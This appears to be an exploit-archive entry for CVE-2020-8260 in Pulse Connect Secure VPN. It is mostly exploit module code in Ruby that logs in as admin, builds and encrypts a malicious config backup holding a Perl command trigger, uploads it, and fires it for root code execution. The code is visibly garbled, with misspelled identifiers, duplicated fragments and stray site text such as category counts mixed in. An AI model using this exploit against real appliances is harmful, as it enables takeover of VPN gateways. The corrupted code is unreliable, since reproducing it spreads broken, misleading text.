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Pulse Secure VPN Remote Code Execution

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The Pulse Connect Secure appliance versions prior to 9.1R9 suffer from an uncontrolled gzip extraction vulnerability which allows an attacker to overwrite arbitrary files, resulting in remote code execution as root. Admin credentials are required for successful exploitation.

tags | exploit, remote, arbitrary, root, code execution advisories | CVE-2020-8260

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	,

```
case target['Type']
when :unix_memory
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager[
linemax.262144, # 256KiB
delay: datastore['CMDSTAGER::DI
                                                                    MDSTAGER::DELAY']
       logout
def execute_command(command, _opts = {})
    trigger = Rex::Text.rand_text_alpha_upper(8)
    print_status("Exploit trigger will be at #(normalize_uri('dana-na', 'auth', 'setcookie.cgi')} with a header
if #(trigger')'
       config = build_malicious_config(command, trigger)
res = upload_config(config)
       fail_with(Failure::UnexpectedReply, 'File upload failed') unless res&.code == 200
       \label{lem:condition} $$ \det res_{\text{shody.scan}}(r_{\text{name}}^*xsauth^* \ value="({^*}+)"/>}) \&.last\&.firstend
 def upload_config(config)
print status(!Requesting backup config page')
res = send request_cgi{
    "uri' >> normalize_uri(target_uri.path, 'dana-admin', 'cached', 'config', 'config.cgi'),
    'headers' >> ('Referes' >> "f{Lul_uri('/dana-admin/cached/config/config.cgi')}??type=system"),
    'vars_get' >> { 'type' >> 'system' }
        }) - fail_with(Failure::UnexpectedReply, 'Failed to request the backup configuration page') unless res6.code ==
       xsauth = res_get_xsauth(res)
fail_with(Failure::UnexpectedReply, 'Failed to get the xsauth token') if xsauth.nil?
      post_data = Rex::MIME::Message.new
post_data.add_part(Ksauth, nil, nil, 'form-data; name="xsauth"')
post_data.add_part(Vsport, nil, nil, 'form-data; name="cp")
post_data.add_part('system', nil, nil, 'form-data; name="type")
post_data.add_part('s', nil, nil, 'form-data; name="type")
post_data.add_part('s', nil, nil, 'form-data; name="txtPassword")
post_data.add_part('sport (cnfig, nil, nil, 'form-data; name="txtPassword")
post_data.add_part('sport (cnfig, nil, nil, 'form-data; name="txtPassword")
post_data.add_part('sport (cnfig, nil, nil, 'form-data; name="txtPassword")
post_data.add_part(config, 'application/octet-stream', 'binary', 'form-data; name="uploaded_file";
name="system.cfg")
      print_status('Uploading encrypted config backup')
send_request_cgi({
    'uri' >> normalize_uri(target_uri.path, 'dana-admin', 'cached', 'config', 'import.cgi'),
    'method' >> 'POST',
    'headera' >> 'Referer' >> "#\[full_uri('/dana-admin/cached/config/config.cgi')\]?type=system" },
               'data' => post_data.to_s,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
   })
end
end

def login
    res = send_request_cgi{
    'uri' >> normalize_uri_uri_path, 'dana-na', 'auth', 'url_admin', 'login.cgi'),
    "var_normalize_uri_volument
    'var_normalize_uri_volument
    'var_normalize_uri_volument
    'var_normalize_uri_volument
    'user_normalize_uri_volument
    'user_normalize_uri_volument
    'password' >> datastore['VERNAME'],
    'password' >> datastore['VERNAME'],
    'tealur' >> 'Admin User's',
    'thnSubmit' >> 'Sign In'
},
       fail_with(Failure::UnexpectedReply, 'Login failed') unless res&.code == 302
location = res.headers('Location')
fail_with(Failure::Nbocces, 'Login failed') if location.include?('failed')
       return unless location.include?('admin%2Dconfirm')
     # if the account we login with is already logged in, or another admin is logged in, a warning is displayed.
ck through it.
print_status('Other admin sessions detected, continuing')
res = send_request_cgi([ 'uri' => location, 'keep_cookles' >> true })
fail with(failure::UmexpectedReply, 'login failed') muless resk.code == 200
fds = res.body.scan(/name="pormBataStr" value="([^*]*)">/).last
xasuth = res_get_Xasuth(res)
fail_with(Failure::UnexpectedReply, 'Login failed (missing form elements)') unless fds & xsauth
      res = send_request_oqi({
    'uri' >> normalize_uri(target_uri.path, 'dana-na', 'auth', 'url_admin', 'login.cgi'),
    'wars_post' >> {
        'btnContinue' >> 'Continue the session',
        'FormButaStr' >> fds.first,
        'xauth' >> xauth
           },
'keep_cookies' => true
  })
fail_with(Failure::UnexpectedReply, 'Login failed') unless res
end
  def logou
  def logout
print_status('Logging out to prevent warnings to other admins')
res = send_request_cgi{{ 'uri' >> normalize_uri(target_uri.path, 'dana-admin', 'cached', 'config',
config.cgi'])
fail_with(Failure::UnexpectedReply, 'Logout failed') unless res6.code == 200
       logout_uri = res.body.scan(%r{/dana-na/auth/logout\.cgi\?xsauth=\w+}).first fail with(Failure::UnexpectedReply, 'Logout failed') if logout uri.nil?
  res = send_request_cgi({ 'uri' => logout_uri })
fsil_with(Failure::UnexpectedReply, 'Logout_fsiled') unless resi.code == 302
end
  def build malicious_config(cmd, trigger)
payload_script = "${Rex:Text.rand_text_alphanumeric(rand(6..13))}.eh"
per! = <-CPERU
f (length SEMV[HTTP_${Ittigger}));
chand 0775, "/data/var/runtime/tmp/tt/${payload_script}";
system("env /data/var/runtime/tmp/tt/${payload_script}");</pre>
       PERL

dentfile = StringIO.new

Gem::Package::TarKriter.new(tarfile) do |tar|

tar.mkdir.'('tmp', 509)

tar.mkdir.'('tmp', 509)

tar.mddir.'('tmp', 509)

tar.ndd file('tmp'tt/setcookie.thtml.ttc', 511) do |tio|

tio.write perl

end
   ...ap/tt/secookie.thtml.ttc*, 511) do |tin
end
tar.add_file("tmp/tt/#[payload_script)", 511) do |tio|
tio.write "PATH-/home/bin:3FATM\n"
tio.write "rm - \"50\"\n"
do.write cmd
end
       gzfile = StringIO.new
gz = Zlib::GzipWriter.new(gzfile)
gz.write(tarfile.string)
gz.close
        encrypt_config(gzfile.string)
  def encrypt_config(config_blob)
cipher = OpenSSL:Cipher.new('DES-EDE3-CFB').encrypt
iv = cipher.iv = cipher.random_iv
cipher.key = ENCRYPTION_KEY
       md5 = OpenSSL::Digest.new('MD5', "#{iv}\x00#{[config blob.length].pack('V')}")
       ciphertext = cipher.update(config_blob)
ciphertext << cipher.final
md5 << ciphertext</pre>
       cipher.reset
```

x86 (946)

Other

XSS (17,494)

 $\label{localization} $$ ''\times09f{iv}\times00f{ciphertext.length}.pack('V') + ciphertext + cipher.update(md5.digest) + cipher.final)'' end$

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